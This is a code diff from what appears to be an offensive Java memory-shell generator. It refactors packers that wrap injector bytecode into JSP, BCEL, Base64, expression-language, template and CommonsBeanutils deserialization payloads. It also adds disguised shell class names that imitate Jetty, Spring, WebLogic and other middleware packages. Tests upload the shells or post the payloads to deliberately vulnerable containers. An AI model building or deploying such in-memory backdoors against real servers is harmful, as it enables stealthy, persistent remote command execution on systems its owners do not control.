||||||
.visit(new TargetJreVersionVisitorWrapper(config.getTargetJreVersion()))
|
.visit(new TargetJreVersionVisitorWrapper(config.getTargetJreVersion()))
|
||||||
.constructor(ElementMatchers.any()).intercept(fieldSets);
|
.constructor(ElementMatchers.any()).intercept(fieldSets);
|
||||||
|
|
||||||
|
|||||||
@@ -11,6 +11,7 @@ import net.bytebuddy.implementation.FieldAccessor;
|
|||||||
import net.bytebuddy.implementation.SuperMethodCall;
|
import net.bytebuddy.implementation.SuperMethodCall;
|
||||||
import net.bytebuddy.matcher.ElementMatchers;
|
import net.bytebuddy.matcher.ElementMatchers;
|
||||||
import org.apache.commons.codec.digest.DigestUtils;
|
import org.apache.commons.codec.digest.DigestUtils;
|
||||||
|
import org.apache.commons.lang3.StringUtils;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -26,15 +27,18 @@ public class GodzillaGenerator {
|
|||||||
}
|
}
|
||||||
|
|
||||||
public DynamicType.Builder<?> getBuilder() {
|
public DynamicType.Builder<?> getBuilder() {
|
||||||
if (godzillaConfig.getClazz() == null) {
|
if (godzillaConfig.getShellClass() == null) {
|
||||||
throw new IllegalArgumentException("godzillaConfig.getClazz() == null");
|
throw new IllegalArgumentException("godzillaConfig.getClazz() == null");
|
||||||
}
|
}
|
||||||
|
if (StringUtils.isBlank(godzillaConfig.getKey()) || StringUtils.isBlank(godzillaConfig.getPass())) {
|
||||||
|
throw new IllegalArgumentException("godzillaConfig.getKey().isBlank() || godzillaConfig.getPass().isBlank()");
|
||||||
|
}
|
||||||
String md5Key = DigestUtils.md5Hex(godzillaConfig.getKey()).substring(0, 16);
|
String md5Key = DigestUtils.md5Hex(godzillaConfig.getKey()).substring(0, 16);
|
||||||
String md5 = DigestUtils.md5Hex(godzillaConfig.getPass() + md5Key).toUpperCase();
|
String md5 = DigestUtils.md5Hex(godzillaConfig.getPass() + md5Key).toUpperCase();
|
||||||
|
|
||||||
DynamicType.Builder<?> builder = new ByteBuddy()
|
DynamicType.Builder<?> builder = new ByteBuddy()
|
||||||
.redefine(godzillaConfig.getClazz())
|
.redefine(godzillaConfig.getShellClass())
|
||||||
.name(godzillaConfig.getClassName())
|
.name(godzillaConfig.getShellClassName())
|
||||||
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
|
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
|
||||||
.constructor(ElementMatchers.any())
|
.constructor(ElementMatchers.any())
|
||||||
.intercept(SuperMethodCall.INSTANCE
|
.intercept(SuperMethodCall.INSTANCE
|
||||||
|
|||||||
@@ -0,0 +1,17 @@
|
|||||||
|
package com.reajason.javaweb.memsell.packer;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.config.GenerateResult;
|
||||||
|
import lombok.SneakyThrows;
|
||||||
|
import org.apache.bcel.classfile.Utility;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/19
|
||||||
|
*/
|
||||||
|
public class BCELPacker implements Packer {
|
||||||
|
@Override
|
||||||
|
@SneakyThrows
|
||||||
|
public String pack(GenerateResult generateResult) {
|
||||||
|
return "$$BCEL$$" + Utility.encode(generateResult.getInjectorBytes(), true);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,15 @@
|
|||||||
|
package com.reajason.javaweb.memsell.packer;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.config.GenerateResult;
|
||||||
|
import org.apache.commons.codec.binary.Base64;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/17
|
||||||
|
*/
|
||||||
|
public class Base64Packer implements Packer {
|
||||||
|
@Override
|
||||||
|
public String pack(GenerateResult generateResult) {
|
||||||
|
return Base64.encodeBase64String(generateResult.getInjectorBytes());
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -5,8 +5,7 @@ import com.reajason.javaweb.deserialize.DeserializeConfig;
|
|||||||
import com.reajason.javaweb.deserialize.DeserializeGenerator;
|
import com.reajason.javaweb.deserialize.DeserializeGenerator;
|
||||||
import com.reajason.javaweb.deserialize.PayloadType;
|
import com.reajason.javaweb.deserialize.PayloadType;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
|
import org.apache.commons.codec.binary.Base64;
|
||||||
import java.util.Map;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -16,17 +15,9 @@ public class DeserializePacker implements Packer {
|
|||||||
|
|
||||||
@Override
|
@Override
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
public byte[] pack(GenerateResult generateResult) {
|
public String pack(GenerateResult generateResult) {
|
||||||
DeserializeConfig deserializeConfig = new DeserializeConfig();
|
DeserializeConfig deserializeConfig = new DeserializeConfig();
|
||||||
deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils19);
|
deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils19);
|
||||||
return DeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig);
|
return Base64.encodeBase64String(DeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public byte[] pack(GenerateResult generateResult, Map<String, ?> config) {
|
|
||||||
String payloadType = (String) config.get("payloadType");
|
|
||||||
DeserializeConfig deserializeConfig = new DeserializeConfig();
|
|
||||||
deserializeConfig.setPayloadType(PayloadType.getPayloadType(payloadType));
|
|
||||||
return DeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig);
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -24,8 +24,8 @@ public class ELPacker implements Packer {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public byte[] pack(GenerateResult generateResult) {
|
public String pack(GenerateResult generateResult) {
|
||||||
byte[] scriptBytes = scriptEnginePacker.pack(generateResult);
|
String script = scriptEnginePacker.pack(generateResult);
|
||||||
return template.replace("{{script}}", new String(scriptBytes)).getBytes();
|
return template.replace("{{script}}", script);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -24,8 +24,8 @@ public class FreemarkerPacker implements Packer {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public byte[] pack(GenerateResult generateResult) {
|
public String pack(GenerateResult generateResult) {
|
||||||
byte[] scriptBytes = scriptEnginePacker.pack(generateResult);
|
String script = scriptEnginePacker.pack(generateResult);
|
||||||
return template.replace("{{script}}", new String(scriptBytes)).getBytes();
|
return template.replace("{{script}}", script);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -26,9 +26,9 @@ public class JspPacker implements Packer {
|
|||||||
|
|
||||||
@Override
|
@Override
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
public byte[] pack(GenerateResult generateResult) {
|
public String pack(GenerateResult generateResult) {
|
||||||
String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str();
|
String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str();
|
||||||
String injectorClassName = generateResult.getInjectorClassName();
|
String injectorClassName = generateResult.getInjectorClassName();
|
||||||
return jspTemplate.replace("{{className}}", injectorClassName).replace("{{base64Str}}", injectorBytesBase64Str).getBytes();
|
return jspTemplate.replace("{{className}}", injectorClassName).replace("{{base64Str}}", injectorBytesBase64Str);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -11,11 +11,11 @@ import java.util.Objects;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/12/14
|
* @since 2024/12/14
|
||||||
*/
|
*/
|
||||||
public class OgnlPacker implements Packer {
|
public class OGNLPacker implements Packer {
|
||||||
ScriptEnginePacker scriptEnginePacker = new ScriptEnginePacker();
|
ScriptEnginePacker scriptEnginePacker = new ScriptEnginePacker();
|
||||||
String template = "";
|
String template = "";
|
||||||
|
|
||||||
public OgnlPacker() {
|
public OGNLPacker() {
|
||||||
try {
|
try {
|
||||||
template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/OgnlScriptEngine.txt")), Charset.defaultCharset());
|
template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/OgnlScriptEngine.txt")), Charset.defaultCharset());
|
||||||
} catch (IOException ignored) {
|
} catch (IOException ignored) {
|
||||||
@@ -24,8 +24,8 @@ public class OgnlPacker implements Packer {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public byte[] pack(GenerateResult generateResult) {
|
public String pack(GenerateResult generateResult) {
|
||||||
byte[] scriptBytes = scriptEnginePacker.pack(generateResult);
|
String script = scriptEnginePacker.pack(generateResult);
|
||||||
return template.replace("{{script}}", new String(scriptBytes)).getBytes();
|
return template.replace("{{script}}", script);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -17,7 +17,7 @@ public interface Packer {
|
|||||||
* @param generateResult 生成的内存马信息
|
* @param generateResult 生成的内存马信息
|
||||||
* @return 指定格式字节数组
|
* @return 指定格式字节数组
|
||||||
*/
|
*/
|
||||||
byte[] pack(GenerateResult generateResult);
|
String pack(GenerateResult generateResult);
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 部分打包器可能需要配置来进行额外的配置项
|
* 部分打包器可能需要配置来进行额外的配置项
|
||||||
@@ -33,38 +33,50 @@ public interface Packer {
|
|||||||
|
|
||||||
@Getter
|
@Getter
|
||||||
static enum INSTANCE {
|
static enum INSTANCE {
|
||||||
|
/**
|
||||||
|
* Base64
|
||||||
|
*/
|
||||||
|
Base64("Base64", new Base64Packer()),
|
||||||
|
|
||||||
|
/**
|
||||||
|
* BCEL
|
||||||
|
*/
|
||||||
|
BCEL("BCEL", new BCELPacker()),
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* JSP 打包器
|
* JSP 打包器
|
||||||
*/
|
*/
|
||||||
JSP(new JspPacker()),
|
JSP("JSP", new JspPacker()),
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 脚本引擎打包器
|
* 脚本引擎打包器
|
||||||
*/
|
*/
|
||||||
ScriptEngine(new ScriptEnginePacker()),
|
ScriptEngine("脚本引擎", new ScriptEnginePacker()),
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 反序列化打包器
|
* 反序列化打包器
|
||||||
*/
|
*/
|
||||||
Deserialize(new DeserializePacker()),
|
Deserialize("反序列化(Only CB4, 1.9.x)", new DeserializePacker()),
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* EL
|
* EL
|
||||||
*/
|
*/
|
||||||
EL(new ELPacker()),
|
EL("EL 表达式", new ELPacker()),
|
||||||
|
|
||||||
Ognl(new OgnlPacker()),
|
OGNL("OGNL 表达式", new OGNLPacker()),
|
||||||
|
|
||||||
SpEL(new SpELPacker()),
|
SpEL("SpEL 表达式", new SpELPacker()),
|
||||||
|
|
||||||
Velocity(new VelocityPacker()),
|
Freemarker("Freemarker", new FreemarkerPacker()),
|
||||||
|
|
||||||
Freemarker(new FreemarkerPacker()),
|
Velocity("Velocity", new VelocityPacker()),
|
||||||
;
|
;
|
||||||
|
|
||||||
|
private final String desc;
|
||||||
private final Packer packer;
|
private final Packer packer;
|
||||||
|
|
||||||
INSTANCE(Packer packer) {
|
INSTANCE(String desc, Packer packer) {
|
||||||
|
this.desc = desc;
|
||||||
this.packer = packer;
|
this.packer = packer;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -25,14 +25,13 @@ public class ScriptEnginePacker implements Packer {
|
|||||||
|
|
||||||
@Override
|
@Override
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
public byte[] pack(GenerateResult generateResult) {
|
public String pack(GenerateResult generateResult) {
|
||||||
String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str();
|
String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str();
|
||||||
String injectorClassName = generateResult.getInjectorClassName();
|
String injectorClassName = generateResult.getInjectorClassName();
|
||||||
return jsTemplate.replace("{{className}}", injectorClassName)
|
return jsTemplate.replace("{{className}}", injectorClassName)
|
||||||
.replace("{{base64Str}}", injectorBytesBase64Str)
|
.replace("{{base64Str}}", injectorBytesBase64Str)
|
||||||
.replace("\n", "")
|
.replace("\n", "")
|
||||||
.replaceAll("(?m)^[ \t]+|[ \t]+$", "")
|
.replaceAll("(?m)^[ \t]+|[ \t]+$", "")
|
||||||
.replaceAll("[ \t]{2,}", " ")
|
.replaceAll("[ \t]{2,}", " ");
|
||||||
.getBytes();
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -24,8 +24,8 @@ public class SpELPacker implements Packer {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public byte[] pack(GenerateResult generateResult) {
|
public String pack(GenerateResult generateResult) {
|
||||||
byte[] scriptBytes = scriptEnginePacker.pack(generateResult);
|
String script = scriptEnginePacker.pack(generateResult);
|
||||||
return template.replace("{{script}}", new String(scriptBytes)).getBytes();
|
return template.replace("{{script}}", script);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -24,8 +24,8 @@ public class VelocityPacker implements Packer {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public byte[] pack(GenerateResult generateResult) {
|
public String pack(GenerateResult generateResult) {
|
||||||
byte[] scriptBytes = scriptEnginePacker.pack(generateResult);
|
String script = scriptEnginePacker.pack(generateResult);
|
||||||
return template.replace("{{script}}", new String(scriptBytes)).getBytes();
|
return template.replace("{{script}}", script);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,5 +1,7 @@
|
|||||||
package com.reajason.javaweb.util;
|
package com.reajason.javaweb.util;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.config.Server;
|
||||||
|
|
||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.security.SecureRandom;
|
import java.security.SecureRandom;
|
||||||
@@ -24,6 +26,14 @@ public class CommonUtil {
|
|||||||
"com.google.gso",
|
"com.google.gso",
|
||||||
"ch.qos.logback"
|
"ch.qos.logback"
|
||||||
};
|
};
|
||||||
|
private static final String[] MIDDLEWARE_NAMES = {
|
||||||
|
"Error",
|
||||||
|
"Log",
|
||||||
|
"Report",
|
||||||
|
"Auth",
|
||||||
|
"OAuth",
|
||||||
|
"Checker"
|
||||||
|
};
|
||||||
|
|
||||||
public static byte[] gzipCompress(byte[] data) throws IOException {
|
public static byte[] gzipCompress(byte[] data) throws IOException {
|
||||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||||
@@ -55,4 +65,22 @@ public class CommonUtil {
|
|||||||
public static String generateInjectorClassName() {
|
public static String generateInjectorClassName() {
|
||||||
return getRandomPackageName() + "." + INJECTOR_CLASS_NAMES[new Random().nextInt(INJECTOR_CLASS_NAMES.length)];
|
return getRandomPackageName() + "." + INJECTOR_CLASS_NAMES[new Random().nextInt(INJECTOR_CLASS_NAMES.length)];
|
||||||
}
|
}
|
||||||
}
|
|
||||||
|
public static String generateShellClassName(Server server, String shellType) {
|
||||||
|
String packageName = switch (server) {
|
||||||
|
case Jetty -> "org.eclipse.jetty.servlet.handlers";
|
||||||
|
case Undertow, JBossEAP7, WildFly -> "io.undertow.servlet.handlers";
|
||||||
|
case SpringMVC -> "org.springframework.boot.mvc.handlers";
|
||||||
|
case SpringWebflux -> "org.springframework.boot.webflux.handlers";
|
||||||
|
case WebSphere -> "com.ibm.ws.webcontainer.handlers";
|
||||||
|
case WebLogic -> "weblogic.servlet.internal.handlers";
|
||||||
|
case Resin -> "com.caucho.server.dispatch.handlers";
|
||||||
|
default -> "org.apache.catalina.web.handlers";
|
||||||
|
};
|
||||||
|
return packageName
|
||||||
|
+ "." + getRandomString(1)
|
||||||
|
+ "." + getRandomString(1)
|
||||||
|
+ "." + getRandomString(1)
|
||||||
|
+ "." + MIDDLEWARE_NAMES[new Random().nextInt(MIDDLEWARE_NAMES.length)] + shellType;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -13,8 +13,6 @@ import net.bytebuddy.matcher.ElementMatchers;
|
|||||||
import net.bytebuddy.pool.TypePool;
|
import net.bytebuddy.pool.TypePool;
|
||||||
import org.junit.jupiter.api.Test;
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
import java.nio.file.Files;
|
|
||||||
import java.nio.file.Paths;
|
|
||||||
import java.util.logging.Logger;
|
import java.util.logging.Logger;
|
||||||
|
|
||||||
import static org.junit.jupiter.api.Assertions.assertNotEquals;
|
import static org.junit.jupiter.api.Assertions.assertNotEquals;
|
||||||
@@ -88,7 +86,7 @@ class LogRemoveVisitorWrapperTest {
|
|||||||
.method(ElementMatchers.any(), LogRemoveMethodVisitor.INSTANCE))
|
.method(ElementMatchers.any(), LogRemoveMethodVisitor.INSTANCE))
|
||||||
.make();
|
.make();
|
||||||
byte[] bytes = make.getBytes();
|
byte[] bytes = make.getBytes();
|
||||||
Files.write(Paths.get("xx.class"), bytes);
|
// Files.write(Paths.get("xx.class"), bytes);
|
||||||
Class<?> modifiedClass = make.load(getClass().getClassLoader()).getLoaded();
|
Class<?> modifiedClass = make.load(getClass().getClassLoader()).getLoaded();
|
||||||
Object instance = modifiedClass.getDeclaredConstructor().newInstance();
|
Object instance = modifiedClass.getDeclaredConstructor().newInstance();
|
||||||
modifiedClass.getMethod("methodWithLogs").invoke(instance);
|
modifiedClass.getMethod("methodWithLogs").invoke(instance);
|
||||||
|
|||||||
File diff suppressed because one or more lines are too long
+3
-3
@@ -33,13 +33,13 @@ class CommandFilterTest {
|
|||||||
void generate(Class<?> clazz, String className) {
|
void generate(Class<?> clazz, String className) {
|
||||||
ShellConfig generateConfig = new ShellConfig();
|
ShellConfig generateConfig = new ShellConfig();
|
||||||
CommandConfig shellConfig = CommandConfig.builder()
|
CommandConfig shellConfig = CommandConfig.builder()
|
||||||
.clazz(clazz)
|
.shellClass(clazz)
|
||||||
.className(className)
|
.shellClassName(className)
|
||||||
.paramName("cmd")
|
.paramName("cmd")
|
||||||
.build();
|
.build();
|
||||||
byte[] bytes = CommandGenerator.generate(generateConfig, shellConfig);
|
byte[] bytes = CommandGenerator.generate(generateConfig, shellConfig);
|
||||||
Object obj = ClassUtils.newInstance(bytes);
|
Object obj = ClassUtils.newInstance(bytes);
|
||||||
assertEquals(shellConfig.getClassName(), obj.getClass().getName());
|
assertEquals(shellConfig.getShellClassName(), obj.getClass().getName());
|
||||||
assertEquals(shellConfig.getParamName(), ClassUtils.getFieldValue(obj, "paramName"));
|
assertEquals(shellConfig.getParamName(), ClassUtils.getFieldValue(obj, "paramName"));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
+3
-3
@@ -40,12 +40,12 @@ class GodzillaTest {
|
|||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void generate(Class<?> clazz, String className) {
|
void generate(Class<?> clazz, String className) {
|
||||||
GodzillaConfig shellConfig = shellConfigBuilder
|
GodzillaConfig shellConfig = shellConfigBuilder
|
||||||
.className(className)
|
.shellClassName(className)
|
||||||
.clazz(clazz)
|
.shellClass(clazz)
|
||||||
.build();
|
.build();
|
||||||
byte[] bytes = new GodzillaGenerator(config, shellConfig).getBytes();
|
byte[] bytes = new GodzillaGenerator(config, shellConfig).getBytes();
|
||||||
Object obj = ClassUtils.newInstance(bytes);
|
Object obj = ClassUtils.newInstance(bytes);
|
||||||
assertEquals(shellConfig.getClassName(), obj.getClass().getName());
|
assertEquals(shellConfig.getShellClassName(), obj.getClass().getName());
|
||||||
assertEquals(shellConfig.getPass(), ClassUtils.getFieldValue(obj, "pass"));
|
assertEquals(shellConfig.getPass(), ClassUtils.getFieldValue(obj, "pass"));
|
||||||
assertEquals(shellConfig.getHeaderName(), ClassUtils.getFieldValue(obj, "headerName"));
|
assertEquals(shellConfig.getHeaderName(), ClassUtils.getFieldValue(obj, "headerName"));
|
||||||
assertEquals(shellConfig.getHeaderValue(), ClassUtils.getFieldValue(obj, "headerValue"));
|
assertEquals(shellConfig.getHeaderValue(), ClassUtils.getFieldValue(obj, "headerValue"));
|
||||||
|
|||||||
+12
-11
@@ -42,37 +42,38 @@ public class ShellAssertionTool {
|
|||||||
.headerName("User-Agent").headerValue(headerValue)
|
.headerName("User-Agent").headerValue(headerValue)
|
||||||
.build();
|
.build();
|
||||||
log.info("generated {} godzilla with pass: {}, key: {}, headerValue: {}", shellType, pass, key, headerValue);
|
log.info("generated {} godzilla with pass: {}, key: {}, headerValue: {}", shellType, pass, key, headerValue);
|
||||||
byte[] content = GeneratorMain.generate(shellConfig, injectorConfig, godzillaConfig, packer);
|
String content = GeneratorMain.generate(shellConfig, injectorConfig, godzillaConfig, packer);
|
||||||
assertInjectIsOk(url, shellType, shellTool, content, packer);
|
assertInjectIsOk(url, shellType, shellTool, content, packer);
|
||||||
GodzillaShellTool.testIsOk(shellUrl, godzillaConfig);
|
GodzillaShellTool.testIsOk(shellUrl, godzillaConfig);
|
||||||
break;
|
break;
|
||||||
case Command:
|
case Command:
|
||||||
String paramName = "Command" + shellType + packer.name();
|
String paramName = "Command" + shellType + packer.name();
|
||||||
CommandConfig commandConfig = CommandConfig.builder().paramName(paramName).build();
|
CommandConfig commandConfig = CommandConfig.builder().paramName(paramName).build();
|
||||||
byte[] commandContent = GeneratorMain.generate(shellConfig, injectorConfig, commandConfig, packer);
|
String commandContent = GeneratorMain.generate(shellConfig, injectorConfig, commandConfig, packer);
|
||||||
log.info("generated {} command shell with paramName: {}", shellType, commandConfig.getParamName());
|
log.info("generated {} command shell with paramName: {}", shellType, commandConfig.getParamName());
|
||||||
assertInjectIsOk(url, shellType, shellTool, commandContent, packer);
|
assertInjectIsOk(url, shellType, shellTool, commandContent, packer);
|
||||||
CommandShellTool.testIsOk(shellUrl, commandConfig);
|
CommandShellTool.testIsOk(shellUrl, commandConfig);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
public static void assertInjectIsOk(String url, String shellType, ShellTool shellTool, byte[] content, Packer.INSTANCE packer) {
|
public static void assertInjectIsOk(String url, String shellType, ShellTool shellTool, String content, Packer.INSTANCE packer) {
|
||||||
|
log.info(content);
|
||||||
switch (packer) {
|
switch (packer) {
|
||||||
case JSP -> {
|
case JSP -> {
|
||||||
String uploadEntry = url + "/upload";
|
String uploadEntry = url + "/upload";
|
||||||
String filename = shellType + shellTool + ".jsp";
|
String filename = shellType + shellTool + ".jsp";
|
||||||
String shellUrl = url + "/" + filename;
|
String shellUrl = url + "/" + filename;
|
||||||
VulTool.uploadJspFileToServer(uploadEntry, filename, new String(content));
|
VulTool.uploadJspFileToServer(uploadEntry, filename, content);
|
||||||
VulTool.urlIsOk(shellUrl);
|
VulTool.urlIsOk(shellUrl);
|
||||||
}
|
}
|
||||||
case ScriptEngine -> VulTool.postData(url + "/js", new String(content));
|
case ScriptEngine -> VulTool.postData(url + "/js", content);
|
||||||
case EL -> VulTool.postData(url + "/el", new String(content));
|
case EL -> VulTool.postData(url + "/el", content);
|
||||||
case SpEL -> VulTool.postData(url + "/spel", new String(content));
|
case SpEL -> VulTool.postData(url + "/spel", content);
|
||||||
case Ognl -> VulTool.postData(url + "/ognl", new String(content));
|
case OGNL -> VulTool.postData(url + "/ognl", content);
|
||||||
case Freemarker -> VulTool.postData(url + "/freemarker", new String(content));
|
case Freemarker -> VulTool.postData(url + "/freemarker", content);
|
||||||
case Velocity -> VulTool.postData(url + "/velocity", new String(content));
|
case Velocity -> VulTool.postData(url + "/velocity", content);
|
||||||
case Deserialize ->
|
case Deserialize ->
|
||||||
VulTool.postData(url + "/java_deserialize", Base64.getEncoder().encodeToString(content));
|
VulTool.postData(url + "/java_deserialize", content);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+1
-1
@@ -60,6 +60,6 @@ public class Jboss423ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer);
|
testShellInjectAssertOk(getUrl(container), Server.JBossAS, shellType, shellTool, Opcodes.V1_6, packer);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+1
-1
@@ -60,6 +60,6 @@ public class Jboss510ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer);
|
testShellInjectAssertOk(getUrl(container), Server.JBossAS, shellType, shellTool, Opcodes.V1_6, packer);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+1
-1
@@ -61,6 +61,6 @@ public class Jboss610ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer);
|
testShellInjectAssertOk(getUrl(container), Server.JBossAS, shellType, shellTool, Opcodes.V1_6, packer);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+1
-1
@@ -60,6 +60,6 @@ public class Jboss711ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_7, packer);
|
testShellInjectAssertOk(getUrl(container), Server.JBossAS, shellType, shellTool, Opcodes.V1_7, packer);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+1
-1
@@ -57,6 +57,6 @@ public class JbossEap6ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer);
|
testShellInjectAssertOk(getUrl(container), Server.JBossEAP6, shellType, shellTool, Opcodes.V1_6, packer);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+6
-2
@@ -42,9 +42,13 @@ public class JbossEap7ContainerTest {
|
|||||||
static Stream<Arguments> casesProvider() {
|
static Stream<Arguments> casesProvider() {
|
||||||
return Stream.of(
|
return Stream.of(
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
||||||
|
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
|
||||||
|
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.ScriptEngine),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP)
|
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine),
|
||||||
|
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
|
||||||
|
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.ScriptEngine)
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -57,6 +61,6 @@ public class JbossEap7ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
